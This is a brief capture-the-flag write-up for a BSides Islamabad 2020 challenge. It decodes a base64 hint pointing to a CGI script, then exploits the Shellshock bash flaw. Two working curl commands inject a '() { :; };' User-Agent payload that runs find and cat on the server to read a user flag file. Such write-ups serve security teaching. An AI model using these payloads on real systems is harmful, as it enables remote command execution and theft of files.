CTF-Writeups/BsidesIslamabad 2020/Shellshock.md
2020-11-08 07:07:49 -05:00

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<img src="https://imgur.com/NS6QZ4p.png"/>
Looking at the source code we find base64 encoded text
```
Like the way you think spidey Y2dpLWJpbi90ZXN0LnNo
```
On decoding
<img src="https://imgur.com/XVHZYRf.png"/>
I search on google about `cgi-bin` and found that they are mostly vulnerable to `shellshock` that allows execution of bash commands
On refering to this blog post
`https://wywyit.medium.com/ritsec-fall-2018-ctf-week-6-45d414035c76`
I used
```
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'find / -type "*.txt"'" http://challenges.ctfd.io:30328/cgi-bin/test.sh
```
And it gave me a bunch of files
<img src="https://imgur.com/VxDcMQi.png"/>
At the bottom I found
```
/usr/lib/python3.8/LICENSE.txt
/tmp/bash-4.3/doc/article.txt
/tmp/bash-4.3/doc/fdl.txt
/tmp/bash-4.3/examples/INDEX.txt
/home/admin/root.txt
/home/herman/user.txt
```
```
Bsides Islamabad# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /home/herman/user.txt'" http://challenges.ctfd.io:30328/cgi-bin/test.sh
Bsides-PK-Fl4g{sinister_six}
```
And that was our flag !